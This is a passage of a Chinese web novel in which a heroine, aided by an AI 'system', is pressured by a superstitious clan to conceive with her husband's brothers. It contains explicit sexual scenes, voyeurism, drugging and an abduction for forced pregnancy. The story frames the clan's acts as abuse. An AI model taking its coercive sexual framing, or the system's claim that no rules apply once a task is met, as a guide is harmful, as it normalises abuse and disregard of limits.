“只剩下十三天了。”宋开泰对他说:“如果你不想让全族人跟着你一起死……”他看向了宋衍之和宋文友,厌弃又无可奈何的说:“柳仙大人只要你这一脉的孩子,是不是你的不重要,从你两个弟弟里选一个。” 宋显祖握紧了手指,他听得明白这句话,其他人自然也听得明白。 宋衍之皱眉扫向宋开泰:“你在放什么屁?” 8.第 8 章 到这种地步,宋衍之要是再不懂这次假“奔丧”的目的,他就太蠢了。 他从来不知道大哥居然成婚两年从来没有跟林秀……有过夫妻之实,而这种难以启齿的事被这些老东西逼着公之于众,他们没有半点当长辈的样子,合起伙来欺负病弱的侄子和无依无靠的侄媳。 真是好样的! 宋衍之在这一刻总算明白了,为什么大哥会干出给他们下药送上嫂子的床这种事,全是这些老东西们逼的! 听听他们在放什么屁!什么叫在两个弟弟里选一个?他们既不拿林秀当人,也不拿他大哥当人! “叔伯能说出这种话真是枉为人!”宋文友气的手指发抖:“如果今天林秀是你们的女儿,你们还能说出这种话吗?你们也拿自己的女儿当牲口吗!” 宋衍之感觉到宋文友抓在自己椅背上的手在发抖,没想到二哥居然被气的骂人了:“瞧把我二哥气的。” 他反倒收了怒气,带着笑说:“诸位叔伯们恬不知耻的说这些话,不就是怕什么柳仙的诅咒吗?”他冲门口的亲随军抬抬下巴:“烤好了就拿进来。” 门外的几名亲随军鱼贯而入,每个人手里都举着铁签子,签字上串着烤到黑乎乎的蛇肉。 “这是老宅里抓到的蛇,扔了怪可惜的,拿来招待诸位叔伯。”宋衍之扫了族长的儿子一眼:“你先吃,这里还有咬死你爹的呢。” 高大的男人被吓的连连后退,几位宋家的长辈已经坐不住了,惊恐的站起来质问宋衍之是不是在找死。 “我这人不信鬼神只信枪子儿。”宋衍之笑笑说:“族长今晚在老宅门口被蛇要死,我就一定会负责到底,明天我会带着亲随军把整个镇子里里外外所有的蛇都消杀干净,柳仙要降罪就降罪到我头上,诸位叔伯用不着担心。” “男主这种行为在惊悚文里就是作死吧。”404发出感叹,“也就是他有男主光环。” 林素好奇的看向了宋衍之,问系统:“宋衍之这么嚣张,为什么柳仙不先杀了他?” 404随口就答:“因为他是男主呀,他死了这个世界就崩塌了。” “不对。”林素又问:“我问的是为什么他是男主?既然剧情里设定林秀怀上宋家三兄弟谁的孩子都行,为什么男主不是宋文友?在床上时也是,为什么柳仙选择附体在宋衍之身上而不是宋文友?” 这把404问住了,它打开残缺的剧情界面,发现这一块剧情不但是缺失的,还标注了[重要剧情缺失]。 “宋衍之和柳仙一定有什么渊源。”林素说:“这可能才是你这个世界崩坏的重要原因。” 404惊呆了,“什么叫专业?您就叫专业!怎么会像您这样可靠又聪明的任务者!我开始嫉妒您的前系统了。” 林素被逗笑了,这个系统虽蠢但倒是会拍马屁:“可以先试试柳仙是不是只附体宋衍之。” “怎么试?”404问。 林素收回目光慢慢揉着自己的手背,几百年的老处蛇刚开了荤怎么可能忍得住不附体再体会体会? 一屋子老东西被几串蛇肉吓得魂不附体,生怕混不吝的宋衍之逼着他们吃,急匆匆落荒而逃。 宋文友总算解了口气,垂眼看见林素揉着发红的手背,心里咯噔了一下,他真把嫂子的手压伤了?现在还在痛? 老东西们逃的比老鼠都快,没一会儿正厅里就只剩下宋家三兄弟和林素。 安静下来宋显祖哽咽的声音就更明显了。 “哭什么?”宋衍之表情嫌弃,语气却格外柔和,对他病歪歪的大哥说:“这事儿我来解决,我看谁敢再来叽叽歪歪的逼你。” 他越这样,宋显祖越愧疚难当,他难以启齿讲出心里的担忧,只能垂着头说:“我知道你们不信鬼神,但或许我真的要害死宋氏了……” 他还没说完,宋衍之就气的一巴掌拍在桌子上,恨铁不成钢的说:“你要是再敢提柳仙两个字我现在就去砸了柳仙庙!”他越想越气,抓起大哥的衣襟恼道:“你就非要逼我和二哥给你戴绿帽吗?你是不是脑子有毛病!” “三弟。”宋文友忙按住宋衍之的肩膀,下意识看了一眼一旁坐着的林素:“大嫂还在你少说两句吧。” 林素正瞧着他们三兄弟。 宋衍之对上林素的视线,愤怒的话也压了下去,他并不想让林素难堪,毕竟当初是大哥和族长把人家三媒六聘娶进门,却瞒着自身的隐疾和狗屎柳仙,害人家一个好好的姑娘独守空房两年多,现在还要面对宋家这些老东西,是他们宋家对不起她。 “大哥,你至少该尊重你的妻子。”宋文友已经无奈的不想和他讲什么封建迷信了,只是叹气说:“你就算是为了整个宋氏,但她是无辜的,你有问过她的意思吗?一女不侍二夫……” 林素用笑声打断了他,懒洋洋起身说:“我无所谓啊,他不行,两个小叔子来替他弥补我也合情合理。” 合情合理?! 她的话让三个人、一个系统都惊呆了,她怎么能平静的口吐狂言! 宋文友臊的脸一下子红了。 宋显祖怔怔看着她,面如死活。 宋衍之被气的盯着她,刷出了负五的攻略度。 “宿主……男主的攻略度又掉了……”404有些崩溃,宿主修复剧情一把好手,可是她根本不按套路走攻略线怎么办! 林素说完也不再理会他们,转身就走,“我困了,你们商量吧。” “你什么意思!”宋衍之气的拍案而起,要追上林素,却被宋文友跨步过来抓住了手臂。 “三弟!”宋文友紧紧抓着他的手臂:“够了,不要再为难她了。” 宋衍之惊讶的看着宋文友,他在维护林秀?林秀说出这样的话,二哥还觉得他会为难她? “不怪她……”宋显祖掉着眼泪说不出任何怪责的话,“秀秀从前不这样的,她是个好妻子好女人……是我对不起她,给不了她幸福还冷落她,又逼着她借种……这都是我自食其果。” 宋衍之再听不下去,大哥和二哥都被这个女人下了迷·魂·汤吧! 他甩开宋文友,怒气冲冲的离开。 宋显祖疲惫至极,托着额头让文友去休息,他只想一个静静。 宋文友没再留。 闹嚷嚷的正厅里只剩下了宋显祖,他一个人也不知道坐了多久,又听到脚步声,抬起头看见了去而复返的宋文友。 宋文友把手里的东西递给他,轻声说:“我刚才不小心弄伤了大嫂的手,大哥拿去给她吧。” 那是一瓶香江产的跌打损伤精油。< /p>宋显祖接在手里,愣愣看着文友离开,突然回过味儿来,文友他……是不是对秀秀有些好感? 他心里乱糟糟的,他既希望文友愿意主动和秀秀生孩子,又害怕文友会真的喜欢上秀秀。 可最后他还是开口叫住了宋文友:“文友,你拿去给她吧。” 宋文友回过头愣了一下,马上要拒绝,又听宋显祖说:“她现在可能不想见我。” 可大哥怎么就确定大嫂想见他呢? 宋文友问不出口,更不敢去接那瓶精油,心跳如擂的胡乱拒绝,逃似得离开了正厅,回到他的卧房里,仍觉得心乱如麻,只要一想到大嫂脑子里就出现她湿漉漉的申吟声…… 他的身体不可控的又燥热起来,让他怀疑大哥下的药到底要持续多久? ※ 刚下过雨的夏夜,闷热的要命。 他又出了一身汗,心烦意乱的抓起浴巾又进了沐浴室里,冲了个凉水澡,才冲到一半就听见隐隐约约的敲门声。 以为是谁来敲他的门,他关了花洒仔细听,却听见格外传来的开门声,好像是大哥叫了一声:“秀秀你睡了吗?” 他这才想起来,大嫂今晚就睡在他隔壁房间,老宅子隔音很差。 怕听到不该听里,他立刻又打开了花洒,想用水声盖住隔壁的声音,可没一会儿他就听见了熟悉的申吟声,就像在梦里似得,他根本无法控制自己不去听、不去想:隔壁大哥在……在做什么?大哥不是不举吗? 眼前又闪过大哥跪在大嫂双··膝之间的画面…… 呻吟声中夹杂了一声不清晰的:“文友……” 他惊醒一般睁开眼,以为是自己昏头了,可身体不可控的靠近墙壁想要听清楚,等靠近墙壁他才发现花洒的管道在墙内,虽然墙壁上贴着瓷砖,但水泥掉了一些露出了花洒旁的缝隙,申吟声就好像从缝隙里钻进来…… 等他意识到自己在偷窥时,他已经透过缝隙看见隔壁半掩的青纱帐内,大嫂的两条蹆搭在大哥的背上摇摇晃晃。 大哥跪在床边半个身子都钻在被子里,双手托着大嫂的蹆,卖力的在做着什么。 他听见黏糊糊的水声,听见梦里的申吟声,不同的是这次他看见那张脸,汗津津的脸,粘着黑发的脸,她素白的手指抓在大哥的黑发里,似痛苦又似愉快的颤抖着扭过头来,潮湿的眼神穿过缝隙看向了他…… 宋文友心猛地急促跳动两下,大脑过电似得一片空白,喉咙里忍不住发出失控的声音。 等他反应过来时,已经晚了。 他扶着冰冷的墙壁,急促呼吸着低头看见水流中的漂浮物,瞬间被难以言喻的罪恶感淹没,他在干什么…… 房门突然被敲响。 他惊的一激灵,听见门外传来宋衍之的声音。 “宋文友,你醒着吗?”宋衍之在外问。 宋文友心一下子慌了,宋衍之为什么半夜来找他?难道宋衍之也听到了什么?怀疑了什么? 他也不知道为什么,竟做贼心虚的没有应声。 可花洒还开着。 ※ 隔壁的林素收回目光,不满意的踩了一下宋显祖的背,坏她好事的宋衍之,她本来想借着宋文友钓柳仙,看柳仙会不会忍不住附体宋文友来找她。 9.第 9 章 水流声那么大,宋文友是当他聋了吗? 宋衍之走到洗漱室的窗下,不明白宋文友为什么要装听不见? 但他很清楚,宋文友一定也听到了压在水流声下的那些哼哼声,或许比他听的更清晰…… 宋文友的房间离她的卧室太近了,只有一墙之隔,之前他在这间浴室里冲凉时就发现隔音差到能听到她踢掉鞋子的声音。 或许明天该给宋文友换换卧房。 他敲了一下窗户,把手里的药膏放在窗台上对里面的人说:“给你拿了散淤血的药膏,自己拿进去揉吧。” 浴室内的宋文友愣了一下,看见玻璃窗户外的身影离开,恨不能给自己一耳光,背上被拐棍抽出的淤青火辣辣烧起来,三弟好心来给他送药膏,他在干什么?他在意··淫自己的大嫂! 他把快烧起来的额头抵在了冰冷的瓷砖上,无声的锤了自己一下。 窗户外的宋衍之却停住了脚步,他看见地上一道潮湿的印记,弯弯曲曲一条,在大嫂的房门口消失了。 这是蛇爬过的痕迹?怎么会还有蛇?钻进大嫂房间里了? 宋衍之立刻蹲下身查看痕迹消失的方向,凑近了才发现大嫂房门口密密麻麻的交叠的一道道弯曲痕迹,因为干透了只在门槛上留下透明的黏液渍。 闷热的盛夏,宋衍之一下子脊背发寒,这么多的蛇爬进了大嫂的房间里? 不等他反应,卧房里突然传来了大嫂低低的叫声—— ※ “啊……!”林素整个脊背都麻了,她感觉一条冰凉湿滑的东西钻进了她的身体里,深的她头皮发麻,几乎要被贯穿了,她不适的立刻一脚踹开了宋显祖,吃惊的盯向他,身上的热汗一下子冷了,刚才是什么东西?宋显祖的舌头变成了什么?难道……柳仙附体了宋显祖? 宋显祖被踹的跌坐在地上却没有任何异常,眼睛依旧是暗黑色的眼仁失焦的望着林素,苍白的脸因兴奋和闷热而变得通红,微张着的嘴唇上、鼻子上沾满了湿淋淋的水渍,胸口起伏剧烈的喘·息好一会儿才哑哑说:“怎么了秀秀?我……我舔疼你了?” 他又爬过去握住了林素的脚踝,狗一样去舔的脚。 他身上没有一丝柳仙异能的气息。 林素伸手捏开了他的嘴巴,只看见他乱颤的舌头,正常人类的舌头,她唤醒系统让它检测柳仙有没有上线,同时又重重给了宋显祖一巴掌。 柳仙应该不会乐意挨巴掌吧? 可宋显祖愣愣挨了一巴掌,又气喘吁吁的握住她的手哑声追问:“怎么生气了?舔痛你了?秀秀……” “大哥你睡了吗?”宋衍之突然在门外拍了一下门问:“你和大嫂还好吗?” “宿主,没有感应到柳仙上线的状态。”404忙回答。 没有吗? 林素收回双腿,还是觉得不对劲,她不会感觉错的,那根本不是人类舌头正常的触感和长度。 “大哥?”宋衍之声音变得着急了一些:“我撞门了。” “来了!”宋显祖这才慌慌张张拽下床帐,爬起来冲到门口去阻拦。 但还是晚了一步,宋衍之已经一脚踹开房门,门板差点拍在宋显祖脸上。 “大哥?”宋衍之看见宋显祖脸上湿淋淋的,右脸还有个巴掌印:“你这是怎么了?出这么多汗?” “你大半夜不睡觉找我有什么急事?”宋显祖忙拦住宋衍之,心里有股怒气,这个糊涂蛋三弟,在军营里这么久还对男女之事一窍不通吗?他和妻子半夜在房里能干什么? “你和大嫂还好吗?”宋衍之下意识朝床帐看过去,闷热的风吹动着青纱,一直素白的脚搭在床边,林素撩开床帐正撞进他的眼里,透红的腮、湿漉漉的眼,他心漏跳了一下慌忙收回眼,舌头也打结似得:“我刚、刚看到有蛇进了大嫂的房间。” “蛇?”宋显祖的脸一下子白了,警觉的想起柳仙,脑子里那些情欲散的干干净净。 “大嫂出什么事了?”门外另一个人急匆匆的奔进来,正是穿着浴袍的宋文友,他光着脚,头发还在滴水,显然是着急忙慌赶过来,和屋里的宋衍之撞了个正着。 宋衍之下意识伸手拉上了半扇门拦住他往里看的视线,没好气的说:“原来二哥没睡着啊。” 宋文友心虚的脸红,搪塞说:“我在洗澡没听见你叫我。” 没听见怎么知道他叫他? 宋衍之知道他在撒谎,也懒得戳穿他,指了一下门外的爬行痕迹说:“我路过时看见门口蛇钻进房间的痕迹,怕毒蛇咬了大哥。”故意没带上大嫂。 宋显祖这会儿已经清醒了,快步到门口看了看,整张脸又变得惨白,是柳仙…… “你不是把老宅的蛇都消杀了吗?”宋文友不解的问:“现在整个院子里还一股雄黄味,怎么会还有蛇?” “可能是躲在犄角旮旯里的没杀干净。”宋衍之心里有些发毛,这门口的痕迹可不是一条两条,是几十条,几十条的蛇突然一窝蜂钻进大嫂的房间吗? “你确定是蛇……”宋文友余下的话没有说完,因为他看见林素披着黑发走了过来,她穿着里衣里裤,趿着鞋子,走到他身边带来一阵潮潮的香风,他的话不自觉就忘了继续说。 宋衍之皱了一下眉,总觉得宋文友变了。 林素推开半扇门,垂眼仔细看了看地上的印迹,那确实是蛇留下的。 “可我没有检测到柳仙的神力在附近。”404很狐疑。 很奇怪,正常蛇爬过是不会留下粘液的,但这门槛上透明的痕迹明显是粘液干了。 什么情况蛇才会留下这么明显的黏液渍? 林素能想到的情况只有一个:发··情。 “这个柳仙有发情期吗?”她问系统。 404马上说:“没有啊,原文设定里这个柳仙无·性·无·欲· 的邪·仙,靠着宋家一代代的供奉差点修成正道了。” 林素勾唇笑了一下,“那祂也许要迎来第一个发·情·期了。” 404震惊,一连串的问:“为什么?难道因为宿主那次弄祂的蛇结?这、这剧情会不会更崩坏了?那祂刚才真的来过?可我确实检测不到祂的踪迹啊……” 是啊,她也没有感应到四周有异能的存在,要么是祂隐藏了异能附体宋显祖,要么是祂附体宋显祖就会失去神力。 她扫了一眼三兄弟,难道祂只有附体男主宋衍之才能发挥神力?为什么? 宋文友耳朵发红对上她的视线又慌忙挪开。 宋衍之也有意撇开了眼,嫂子穿的太薄太透了…… 宋显祖匆忙拿了一件宽大的斗篷裹在了她身上,“现在怎么办?这屋子里进了蛇不能再住了。” 宋衍之点了一下头说:“你和大嫂先去我屋住吧,我那边撒了生石灰,外面也有我的人在守着,不会有蛇。” 林素却扫他一眼,故意说:“我不去。” 宋衍之这才看向她,为什么不去? 林素也不解释,只看向宋文友眼睛里带了笑意说:“要挪屋,我就挪去文友的房间,文友你不介意吧?” 宋文友一愣,下意识抬头看她,先答了一句:“不介意……”又意识到不挪又说:“我可以搬去三弟那边,大哥和大嫂住我屋。” 她什么意思? 宋衍之眉毛都拧了起来,冷声说:“你没得选,你以为蛇就规规矩矩只待在你屋里吗?宋文友也得挪去我那边。” 林素不满的瞪向他。 他迎上那嗔怪的眼神,反倒笑了,朝她走进一点故意气她说:“嫂子是想跟蛇一起睡?还是住我屋?” 404吃惊的看见,男主的负10攻略值在这一秒刷新成了负1。 林素也看见了,她故意伸手推了一下逼近的宋衍之,故作恼怒道:“我宁愿跟蛇一起睡,也不跟你住。” 那只手推在宋衍之胸口,隔着衬衫他也能感觉到她指尖的温热,几乎是下意识他就伸手擒住她的手腕,嘴比脑子更快:“那可由不得嫂子。” 任务界面亮起来,男主攻略值突然变成了百分之二。 “?”404惊呆了,男主怎么突然就从厌恶到有好感了? 因为贱·骨头。 林素微微挣扎,就感觉他的手指本能的收紧,这种贱·骨头就是牵着不走,打着倒退,就爱逆着来。 “衍之。”宋显祖却看不下去,用力推开宋衍之,将林素拉回自己怀里,语气不好的说:“你就这么跟你大嫂说话?” 宋衍之也突然意识到自己刚才当着大哥的面在说些什么,尴尬的收回手,仿佛地面烫脚似得快步出了房间,又伸手拽出了宋文友对他说:“去穿好你的衣服挪去我那儿。” 穿成这样像什么话?长嫂如母,儿大避母,他不懂吗? 10.第 10 章 宋衍之住在另一个院儿,因为他今晚召来了亲随军,所以就没让他们回宾馆,直接安置在院儿里的厢房住。 十来间屋子里塞满了他的兵,廊下也有亲随军轮守。 他先一步回了院儿里,把自己住的那间套房腾了出来,给大哥大嫂住,他和副将住一间,至于宋文友,也和他们挤一挤,三个大男人没什么不能凑合的。 虽然没什么行李,但他浴室里搭着一些袜子之类的东西,不好给大嫂看见,用过的毛巾和香皂他也收了,又吩咐院儿里的亲随军避讳点,今夜别随便出来,也不许骂骂咧咧,探头张望。 他自问已经做得很到位了,但林素扶着桂香一进来就皱眉,又是吩咐桂香熏上香,又是指挥大哥把他的床单被褥全换了。 “我也就在这张床上坐了不到半个小时。”宋衍之无语的对她说,今晚他忙的根本没睡觉。 林素坐在桌边抬眼看他,冷着脸说:“你只要沾了床我就嫌脏,这屋里全是你的味儿。” 他什么味儿? 宋衍之很想问问看,有那么嫌弃他吗?之前她和他一张床的时候咬住他的手指……也没见她嫌弃。 但话没到嘴边自己就面红耳赤起来,心烦的在自己侧脖子打了一下,他在胡思乱想什么!那是他大嫂,他大哥好生生的站在旁边,他是疯了吗? “你爱换就换,反正我大哥乐意伺候你。”宋衍之心烦的胡乱说了一句,转身就出了屋子,根本没留意到自己这句话有多阴阳怪气,跨出门又听见林素连名带姓叫他。 “宋衍之。” 那声音就跟勾魂似得把他又勾了住,他停下脚步回过头,就看见林素托着腮笑盈盈瞧着他,翘着的脚挂着拖鞋一晃又一晃。 他心里那股酥酥麻麻的劲儿又莫名其妙窜上来。 “男主攻略值又加2!”404有些激动,叫叫名字就加2,攻略男主的任务终于正常推进了! “干嘛?”宋衍之摆出不耐烦的嘴脸,脚步却黏在原地:“有事儿就说。” 林素挑了挑眉毛,放轻了声音问:“文友今晚住哪儿啊?” 宋衍之面上一僵,莫名就火了,盯着她警告一般问她:“这是大嫂该关心的吗?” 他想再次警告她,敢对不起他大哥他一定会杀了她,却看见宋显祖就站在她身后的帘子下,苍白着脸,眼神幽幽的望着他,既没有生气也没有怪责,就像是在说:不怪她,是我没用。 就是因为大哥一再纵容她才这么放荡! 宋衍之压着怒火转身就走,迎面撞上进院子的宋文友,擎着他的胳膊就把他拽进了副将的房里,把他甩在墙壁上。 “又犯什么浑!”宋文友撞的生疼。 宋衍之压着声音冷飕飕说:“宋文友,别和大嫂走的太近。” “什么?”宋文友僵了一下,顿时也恼火了,用力推开他:“你发什么神经!你这话是什么意思宋衍之?你在怀疑我?” 宋衍之被推的晃了晃,盯着宋文友怒气腾腾的脸,冷笑问:“我的话就是字面意思,提醒你注意男女有别,你要是问心无愧至于这么生气吗?” “问心有愧的是你吧!”宋文友压不住怒火的低声质问:“我和大嫂有半点逾矩的吗?倒是你刚才当着大哥的面冒犯大嫂是在干什么?” 宋衍之被质问的一噎,立刻就说:“我怎么冒犯了?我就是看不惯她嫌弃的样子讥讽两句有什么问题?” 宋文友却冷笑一声,“是讥讽是挑逗你心里清楚。” 挑逗两个字像巴掌似得火辣辣打在宋衍之嘴巴上,他恼怒的拦住宋文友让他把话说清楚。 宋文友用更低的声音说:“被下药那晚我神志不清,但你是清醒的吧?你跟大嫂发生了什么你自己心里清楚。” 宋衍之愣在原地,第一反应不是愤怒而是心虚:宋文友当时听到了?还是看到了他跟大嫂那些事? “我很清楚大哥喜欢大嫂,你不用警告我男女之别。”宋文友像对他说,也像在对自己说:“我明天就会离开老宅回燕京,你管好你自己吧。” 宋文友绕过他,进了里间休息,只有他自己知道,他必须离开了,不然大嫂的声音、眼神、肌肤……会在他心里越烙越深。 宋衍之吃了瘪,本就烦躁的心更烦躁了,这鬼地方谁愿意多待似得,他明天收拾完柳仙庙,也打道回甸北了! 他干脆带亲随军去了林素的房间里抓那些该死的蛇,吩咐副将:“收拾东西,明天办完该办的事就启程回去。” ※ “宿主怎么办?”404监视着男主的一举一动,立马把偷听到的告诉林素:“男主和宋文友明天都要走!这您还怎么攻略啊?”柳仙能让他走再说。 林素懒得理会一惊一乍的系统,扫了一眼铺好床在等着她的宋显祖,“你去别的屋睡,我习惯一个人住。” 宋显祖心里那点温存的幻想破灭,妥协的和她商量说:“我睡外屋的小床行吗?万一半夜有蛇……” “听不懂人话吗?”林素满脸的厌嫌,毫不留情的说:“我看见你就烦,滚出去。” 宋显祖从未被人这样骂过,一时愣在原地不敢相信这是秀秀说出来的话,明明从前秀秀日日盼着他去陪陪她,明明不到半个时辰前她很喜欢他添。弄她……怎么就说翻脸就翻脸了? 她直接把他的枕头丢在地上,就像他是一块没用的抹布。 宋显祖弯腰捡起枕头,心中酸楚却又清楚自己自作自受,是他对不起秀秀在先,可他真的很想弥补她,和她好好过日子,虽然她可能不稀罕了。 他转身要走时,又忍不住问她:“秀秀,你是不是……看中了文友?” “怎么?”林素坐在床上问:“今晚要送来我床上?” 宋显祖被噎的脸色惨白,抓紧枕头一言不发的走出了房间,被夜风吹的眼眶又红了。 ※ 隔壁的宋文友才躺下就看见大哥拿着枕头走进来,红着眼竟是又哭了的样子:“怎么了大哥?” 宋显祖没有回答他,走过来坐在床边就那么看着他,眼神里说不清是怨恨还是忌妒。 宋文友被看的发毛,想问他到底怎么了? 就听宋显祖幽幽问:“文友,你喜欢你大嫂吗?” 宋文友被问的脑子一下就乱了,大哥为什么突然这么问?难道大哥发现他偷窥大嫂了? 宋显祖忽然握住了他的双肩,带着忌恨又说:“你看见了,我不能满足她……你愿意替大哥补偿她吗?” 宋文友如遭雷劈,这太荒唐了,他的大哥在问他愿不愿意跟大嫂无媒苟·合? “荒谬!”宋文友愤怒至极:“大哥怎么能说出这种违背人·伦的话!” “你敢发誓你对秀秀没有半点违背人·伦的念想吗!”宋显祖却比他更愤怒。 宋文友竟噎住了。 这沉默像刀子扎进宋显祖心里,他不敢发誓,他就是对秀秀动了心思!又在装什么装! 两个人在这一秒陷入诡异的沉默。 11.第 11 章 这一晚上除了林素,宋家没一个人睡好。 早饭摆上桌,林素就看见宋显祖和宋文友一个比一个脸色差,都青着一张脸沉默的坐着。 她吃了个包子问:“昨晚都没睡好吗?板着个脸做什么?” 404激动的小声说:“宿主您不知道,昨晚他俩都把对方气的半死。”它全偷听到了。 宋显祖看了一眼宋文友,又觉得很没有必要跟自家弟弟生这个气,原本就是他希望文友能替他弥补秀秀。 他缓和下神色,擦手替林素剥了一枚鸡蛋,先说:“没有,只是和二弟聊到太晚了。”又剥了另一枚鸡蛋放在文友的盘子里:“家里太久没这么热闹了,大哥打心底里开心你和衍之回来,你别嫌大哥迂腐啰嗦,以后我尽量改,不说那些你们不爱听的话。” 宋文友看着那枚鸡蛋心里酸涩难言,突然觉得自己真不是东西,小时候母亲早逝,每一顿早饭大哥都会耐心的替他和宋衍之剥鸡蛋、擦嘴巴,教他们拿筷子……他却为大哥的几句话跟他吵嘴怄气,归根结底是他自己心虚罢了。 “大哥别这么说,就是聊天而已,没什么对错。”宋文友抬头看他,语气尽可能温和的说:“我打算下午启程回燕京了。” 宋显祖的脸色一沉,皱眉问:“你还在生我的气?” 宋文友想解释他没生气,只是学校里还有事,但没等他张嘴,管家就从外面匆匆忙忙跑进来,急吼吼说:“出事了老爷!” 宋显祖应激一般站了起来:“又出什么事了?是、是谁死了?” 管家连连摇头说:“是、是三爷他带兵把镇子上的蛇全抓了,在柳仙庙前剥蛇皮、烤蛇肉,还逼着宋家几位叔爷观看他砸柳仙庙!” 宋显祖吓得跌坐在椅子里,面无血色。 林素慢慢嚼着白切鸡看过去,宋衍之都作死到这种地步了柳仙还不出手?光顾着发情了? “他又发什么疯。”宋文友不赞成的皱了眉,“滥用兵权,制造恐慌,他以为自己这样很威风吗?” “快,快备车!”宋显祖来不及多说,起身快步往外走:“我现在赶过去还来得及阻止他!” “我陪大哥一起去吧。”宋文友也站了起来。 宋显祖却摆手说:“你留在家里照顾秀秀,万一有什么事还有个照应。”说完脚步没停的跨出了房门,扶着管家一溜小跑离开。 一转眼人就出了院子,宋文友僵站在原地只好尴尬的看了一眼大嫂,见她也在看自己莫名耳根子就发烧:“嫂子慢慢吃,不必担心……” “我没什么好担心。”林素吃完手里的包子说:“你没事就行。” 宋文友耳根子更热了,他坐立难安,很想找个理由先离开,但理由还没找到,院子外就闹嚷嚷挤进来一群人。 宋衍之的亲随军他都带走了,只剩下宋家的家丁,却拦不住硬闯的人,他们嚷嚷着说:“太爷要见宋家大爷和少夫人!我看谁敢拦!” 五六名高大的汉子扶着一个头发花白的老者走进来,宋家的家丁根本不敢硬拦。 饶是早就离家的宋文友也一眼认出了那位头发花白的老者,正是宋家一百零九岁的老太爷宋满江,他是宋家最有资历的长者,就连族长和宋文友的爷爷见到他都得磕头叫一声太爷。 据说他是宋家唯一见过柳仙真身,叩拜过柳仙,得到柳仙赐福的人,所以他今年已经一百零九岁了,也依然身子骨健朗,声如洪钟。 当年三弟中枪快死了,就是宋太爷去请的什么“柳仙上身”,救活了他。 宋文友看到他心里就沉了,族长死的那晚都没能惊动宋太爷,今天他却亲自来了宋家,想必就是为了宋衍之大闹柳仙庙的事,冲着他大哥大嫂来的。 他快步迎出去,恭敬的行了礼先说:“太爷,我大哥已经赶去柳仙庙了。” 他有意挡住屋内的林素,怕宋太爷会为难她。 但宋太爷今天就是冲着林素来的,他只扫了宋文友这个小辈一眼,抬抬手指,跟随他的大汉就上前将宋文友拦开了。 “我知道宋显祖出门了。”宋太爷看向屋中的林素,见她连屁股都没抬一下,依旧坐在桌前吃饭,就明白宋开泰说的倒反天罡、少家施教不是虚话,宋显祖的媳妇确实该管教管教了。 他没说话,扶着他的掌事就先冷声说:“宋少夫人,这位是宋家的太爷,出来磕头见礼吧。” 来了一个更老的。 林素抬抬眼皮看他,放下筷子说:“闻到了,一股快腐了的老头儿味熏得我倒胃口。” “好大的胆!”掌事厉色呵斥她,却被宋太爷抬手拦了住。 “不要吆五喝六的,那是柳仙大人为显祖选出来的妻子,放尊重些。”宋太爷依旧瞧着林素,语气出奇温和的问她:“饭吃好了吗?” 林素用帕子擦了擦手说:“胃口都倒了,吃不下了。” 连宋文友也觉得嫂子太过了,忙到她身边想轻声劝她注意言辞。 宋太爷却笑呵呵的抬抬手说:“那就到我府上再吃吧,喜欢吃什么就让厨房做什么。” 他话说的客气,但身后带来的两名粗壮大汉一点也不客气的上前一左一右要将林素用绳子绑了。 “太爷这是做什么?别碰我嫂子!”宋文友慌忙拦住那两名汉子,皱眉看向宋太爷:“好好的干嘛要绑人?就算要请我嫂子去您府上也用不着硬绑着去吧?” 宋太爷也不和他废话,抬手指朝他一指说:“把这小子也一块绑了带回府,宋显祖既然不中用,那就由他弟弟代劳。” 其余的大汉应是就冲上去将宋文友扭按在了桌子上。 “放开我!你们这是绑架! 还有没有王法了!”宋文友被压的根本动弹不了,这会儿也回过味儿来了,宋太爷今天来势汹汹就是打算绑架他嫂子去他府上吧! “你原来为这个啊。”林素手腕翻转就将两名汉子肘击的踉跄后退,她自己站起来瞧着宋太爷说:“不就是想绑我到你府上跟小叔子生孩子吗?” 她说的太直白了,一屋子大汉偷偷瞄她,瓜子脸上长了一双会勾人的眼,白的很,脸上擦了胭脂一样白里透红,却没有一点羞臊的神色,这么漂亮放荡却嫁给个养胃男人,真真是可惜了。 那些男人的目光让宋文友怒火中烧,那些人哪里还算是人?分明就是眼冒绿光的畜生,根本不拿女人当人的畜生! 只有宋太爷还是那副笑模样说:“我这个糟老头子也不想没皮没脸的插手重孙子的家事,但柳仙大人的阴诞马上就要到了,如果你还不能替柳仙大人怀上宋家这一脉的孩子,那遭殃的就不只是我们宋氏,你娘家的两个哥哥也会跟着遭殃,咱们这镇子可能都会被牵连,我是为了你和大家好。” 他原计划先礼后兵,今天无论如何也要把林素和宋家兄弟带去他府上,用药也好,强行也好,一定要在柳仙阴诞怀上孩子。 没想到,林素直接说:“那你早说啊,不用绑了,走吧。” 宋太爷倒是愣了一下,他以为是林素宁死守节,不愿意跟小叔子发生关系,怎么看起来……她非常乐意呢? “嫂子!”宋文友气的咬牙,“不能去,他们迷信的昏头了,为了让你怀孩子什么都干得……”话没说完就被毛巾塞住了嘴巴。 林素没让桂香跟着,大大方方出门,还问宋太爷:“开车来的吗?不会让我走路吧?” 众人都被她搞懵了。 宋太爷看着她,笑笑侧过身请她:“车就停在门口,柳仙大人选的人我自然会好好供着。” “宿主我怎么感觉有点危险啊。”404警觉说:“这老头儿看着阴阴的,您去了会不会被下·药·软·禁什么的?还是等男主回来吧?”虽然男主混不吝,但他有兵还有枪,没人真敢惹他。 林素走在宋太爷前面,想起来问系统:“你之前说过对我没有规则限制吧?” “您只有完成任务,修复世界,做什么都可以!”404马上说。 “那就行。”林素心满意足的出了府门,坐上了宋太爷的车慢慢从口袋里掏出了一枚黑色的指环,戴在了食指上。 “这是什么?”404没见过她这个配饰。 林素爱抚着指环说:“我随身带过来的小玩具,每个世界我都带着它,算是我的阿贝贝吧。” “阿贝贝?”404疑惑但尊重,还没见过有人把戒指当阿贝贝的,但它没有检测出这东西是违规的外挂,所以也没什么好说的,就夸了一句:“您的阿贝贝好特别啊。” 12.第 12 章 林素坐在宋太爷的车子里,宋文友被塞进了后面另一辆车,他奋力吐掉嘴里的毛巾冲街道两侧看热闹的人嚷嚷着,求他们报警。 但没一个人理他。 宋氏一族靠着柳仙在这镇上称王称霸几代了,就算是镇政府里也有宋家的子孙,根本没人敢管宋家的事。 车子驶出长街,越开越偏僻,十来分钟之后林素了看见车窗外连绵的山脉,荒芜的田地,显然是开到了郊区。 宋太爷倒是贴心的解释:“放心吧,是去了山上的庄子里,我庄子里有温泉可以给你好好养身子,等你为柳仙大人诞下孩子再回宋家。” 看来这是打算囚禁她和宋文友到生下孩子啊。 宋氏从老到小都封禁又淫·乱。 